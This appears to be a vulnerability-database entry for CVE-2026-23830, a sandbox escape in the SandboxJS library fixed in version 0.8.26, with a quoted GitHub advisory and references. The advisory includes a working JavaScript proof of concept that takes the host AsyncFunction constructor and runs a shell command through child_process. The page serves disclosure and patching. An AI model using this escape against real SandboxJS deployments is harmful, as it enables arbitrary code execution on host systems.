CVE-2026-23830
criticalpriority · track · 10EPSS 0.012 · 68 %ileexploit · PoCEUUSEPSS · scored 2026-10-27
SandboxJS is a JavaScript sandboxing library. Versions prior to 0.8.26 have a sandbox escape vulnerability due to `AsyncFunction` not being isolated in `SandboxFunction`. The library attempts to sandbox code execution by replacing the global `Function` constructor with a safe, sandboxed version (`SandboxFunction`). This is handled in `utils.ts` by mapping `Function` to `sandboxFunction` within a map used for lookups. However, before version 0.8.26, the library did not include mappings for `AsyncFunction`, `GeneratorFunction`, and `AsyncGeneratorFunction`. These constructors are not global properties but can be accessed via the `.constructor` property of an instance (e.g., `(async () => {}).constructor`). In `executor.ts`, property access is handled. When code running inside the sandbox accesses `.constructor` on an async function (which the sandbox allows creating), the `executor` retrieves the property value. Since `AsyncFunction` was not in the safe-replacement map, the `executor` returns the actual native host `AsyncFunction` constructor. Constructors for functions in JavaScript (like `Function`, `AsyncFunction`) create functions that execute in the global scope. By obtaining the host `AsyncFunction` constructor, an attacker can create a new async function that executes entirely outside the sandbox context, bypassing all restrictions and gaining full access to the host environment (Remote Code Execution). Version 0.8.26 patches this vulnerability.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
exploits (1)
Public proof-of-concept and weaponised exploit code.
- Galaxy-sc/CVE-2026-23830-SandBreakGalaxy-sc/CVE-2026-23830-SandBreakPoC · poc_in_github
affected products (3)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-wxhw-j4hc-fmq6SandboxJS has Sandbox Escape via Unprotected AsyncFunction Constructor2026-01-27ghsa · osvUS
### Summary A sandbox escape vulnerability due to `AsyncFunction` not being isolated in `SandboxFunction` ### Details The library attempts to sandbox code execution by replacing the global `Function` constructor with a safe, sandboxed version (`SandboxFunction`). This is handled in `utils.ts` by mapping `Function` to `sandboxFunction` within a map used for lookups. However, the library did not include mappings for `AsyncFunction`, `GeneratorFunction`, and `AsyncGeneratorFunction`. These constructors are not global properties but can be accessed via the `.constructor` property of an instance (e.g., `(async () => {}).constructor`). In `executor.ts`, property access is handled. When code running inside the sandbox accesses `.constructor` on an async function (which the sandbox allows creating), the `executor` retrieves the property value. Since `AsyncFunction` was not in the safe-replacement map, the `executor` returns the actual native host `AsyncFunction` constructor. Constructors for functions in JavaScript (like `Function`, `AsyncFunction`) create functions that execute in the global scope. By obtaining the host `AsyncFunction` constructor, an attacker can create a new async function that executes entirely outside the sandbox context, bypassing all restrictions and gaining full access to the host environment (Remote Code Execution). ### PoC ```js const sandbox = require('@nyariv/sandboxjs'); const s = new sandbox.default(); const payload = ` const af = async () => {}; // .constructor returns the host AsyncFunction constructor because it's not intercepted const AsyncConstructor = af.constructor; console.log("AsyncConstructor name:", AsyncConstructor.name); // Create a function that executes outside the sandbox const func = AsyncConstructor("return process.mainModule.require('child_process').execSync('id').toString()"); // Execute RCE const p = func(); p.then(proc => { console.log(proc); }); `; try { s.compile(payload)().run(); } catch (e) { console.error("Bypass failed:", e.message); } ``` Run above script in nodejs. If you run it in browser, change the `AsyncConstructor` argument by returning `window` object. ### Impact A Remote Code Execution, attacker may be able to run an arbitrary code.
also known as (3)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (6)
External citations — patches, advisories, analysis.
- https://github.com/nyariv/SandboxJS/commit/345aee6566e47979dee5c337b925b141e7f78ccdcnnvd
- https://github.com/nyariv/SandboxJS/security/advisories/GHSA-wxhw-j4hc-fmq6cnnvd
- https://github.com/nyariv/SandboxJS/commit/345aee6566e47979dee5c337b925b141e7f78ccdenisa_euvd
- https://github.com/nyariv/SandboxJS/security/advisories/GHSA-wxhw-j4hc-fmq6enisa_euvd
- https://github.com/nyariv/SandboxJS/commit/345aee6566e47979dee5c337b925b141e7f78ccdPatchnvd
- https://github.com/nyariv/SandboxJS/security/advisories/GHSA-wxhw-j4hc-fmq6ExploitVendor Advisorynvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan